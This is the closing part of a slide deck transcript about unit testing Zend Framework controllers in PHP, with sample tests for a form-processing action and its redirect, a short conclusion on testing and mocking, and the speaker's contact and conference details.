    89. 89. Test Processingpublic function testProcessAction(){ $testData = array ( name => testUser, mail => test@example.com, web => http://www.example.com, comment => This is a test comment, ); $params = array(action => process, controller => index, module => default); $url = $this->url($this->urlizeOptions($params)); $this->request->setMethod(post); $this->request->setPost($testData); $this->dispatch($url); // assertions $this->assertModule($params[module]); $this->assertController($params[controller]); $this->assertAction($params[action]); $this->assertResponseCode(302); $this->assertRedirectTo(/index/success); $this->resetRequest(); $this->resetResponse(); $this->dispatch(/index/success); $this->assertQueryContentContains(span#fullName, $testData[name]);}
    90. 90. Redirect test public function testSuccessAction() { $params = array(action => success, controller => index,module => default); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params[module]); $this->assertController($params[controller]); $this->assertAction($params[action]); $this->assertRedirectTo(/); }
    91. 91. Running ControllerTests
    92. 92. Run All Tests
    93. 93. Conclusion• unit testing is simple• no excuses not to test•- test what counts what makes you loose money if it breaks?•- mock out whatever’s expensive databases, filesystem, services, …
    94. 94. Thank you• source code: http://github.com/DragonBe/zftest• your rating: http://joind.in/talk/view/3790•- follow me: twitter: @DragonBe - facebook: DragonBe
    95. 95. • January 27-28, 2012 Antwerp Belgium• 2 day conference• community driven• low prices• ticket sales start in November
    1. A particular slide catching your eye?

      Clipping is a handy way to collect important slides you want to go back to later.

    ×